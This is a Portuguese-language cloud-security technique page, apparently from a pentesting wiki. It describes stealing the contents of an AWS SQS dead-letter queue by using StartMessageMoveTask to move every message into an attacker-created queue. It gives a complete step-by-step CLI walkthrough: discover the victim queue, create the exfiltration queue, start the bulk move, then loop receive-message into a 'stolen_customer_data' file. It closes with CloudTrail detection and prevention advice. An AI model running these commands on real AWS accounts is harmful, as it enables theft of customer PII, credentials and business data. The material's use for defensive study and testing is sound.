AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Reading time: 7 minutes

Descrição

Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) de uma vítima, redirecionando-as para uma fila controlada pelo atacante usando sqs:StartMessageMoveTask. Esta técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo.

O que é uma Dead-Letter Queue (DLQ)?

Uma Dead-Letter Queue é uma fila SQS especial onde mensagens são enviadas automaticamente quando falham ao serem processadas com sucesso pela aplicação principal. Essas mensagens falhadas frequentemente contêm:

• Dados sensíveis da aplicação que não puderam ser processados
• Detalhes de erro e informações de depuração
• Informações Pessoais Identificáveis (PII)
• Tokens de API, credenciais ou outros segredos
• Dados de transações críticos para o negócio

DLQs atuam como um "cemitério" para mensagens falhadas, tornando-as alvos valiosos pois acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar corretamente.

Cenário de Ataque

Exemplo do mundo real:

1. Aplicação de e-commerce processa pedidos de clientes através do SQS
2. Alguns pedidos falham (problemas de pagamento, estoque, etc.) e são movidos para uma DLQ
3. DLQ acumula semanas/meses de pedidos falhados contendo dados de clientes: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. Atacante obtém acesso às credenciais AWS com permissões SQS
5. Atacante descobre que a DLQ contém milhares de pedidos falhados com dados sensíveis
6. Ao invés de tentar acessar mensagens individuais (lento e óbvio), o atacante usa StartMessageMoveTask para transferir em massa TODAS as mensagens para sua própria fila
7. Atacante extrai todos os dados sensíveis históricos em uma única operação

Requisitos

• A fila de origem deve estar configurada como DLQ (referenciada por pelo menos uma RedrivePolicy de fila).
• Permissões IAM (executadas como o principal da vítima comprometida):
• Na DLQ (origem): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
• Na fila de destino: permissão para entregar mensagens (por exemplo, policy da fila permitindo sqs:SendMessage do principal vítima). Para destinos na mesma conta isso normalmente é permitido por padrão.
• Se SSE-KMS estiver habilitado: na CMK de origem kms:Decrypt, e na CMK de destino kms:GenerateDataKey, kms:Encrypt.

Impacto

Impacto Potencial: Exfiltrar cargas úteis sensíveis acumuladas em DLQs (eventos falhados, PII, tokens, payloads da aplicação) em alta velocidade usando as APIs nativas do SQS. Funciona cross-account se a policy da fila de destino permitir SendMessage do principal vítima.

Como Abusar

• Identifique o ARN da DLQ da vítima e assegure-se de que ele está realmente referenciado como DLQ por alguma fila (qualquer fila serve).
• Crie ou escolha uma fila de destino controlada pelo atacante e obtenha seu ARN.
• Inicie uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino.
• Monitore o progresso ou cancele se necessário.

Exemplo CLI: Exfiltrando Dados de Clientes da DLQ de E-commerce

Cenário: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ contendo tentativas de processamento de pedidos de clientes que falharam.

1. Descobrir e examinar a DLQ da vítima

# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"

2. Criar fila de destino controlada pelo atacante

# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"

3. Execute o roubo em massa de mensagens

# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10

4. Coletar os dados sensíveis roubados

# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Notas entre contas

• A fila de destino deve ter uma resource policy permitindo ao principal da vítima sqs:SendMessage (e, se usado, concessões/permissões do KMS).

Por que este ataque é eficaz

1. Funcionalidade legítima da AWS: Usa funcionalidades nativas da AWS, tornando difícil detectar como malicioso
2. Operação em massa: Transfere milhares de mensagens rapidamente em vez de acesso individual lento
3. Dados históricos: DLQs acumulam dados sensíveis ao longo de semanas/meses
4. Fora do radar: Muitas organizações não monitoram o acesso aos DLQs de perto
5. Capaz entre contas: Pode exfiltrar para a própria conta AWS do atacante se as permissões permitirem

Detecção e Prevenção

Detecção

Monitore o CloudTrail para chamadas de API StartMessageMoveTask suspeitas:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Prevenção

1. Princípio do menor privilégio: Restringir as permissões sqs:StartMessageMoveTask apenas às funções necessárias
2. Monitorar DLQs: Configure alarmes do CloudWatch para atividade incomum nas DLQs
3. Políticas entre contas: Revise cuidadosamente as políticas de fila SQS que permitem acesso entre contas
4. Criptografar DLQs: Use SSE-KMS com políticas de chave restritas
5. Limpeza regular: Não deixe dados sensíveis acumularem nas DLQs indefinidamente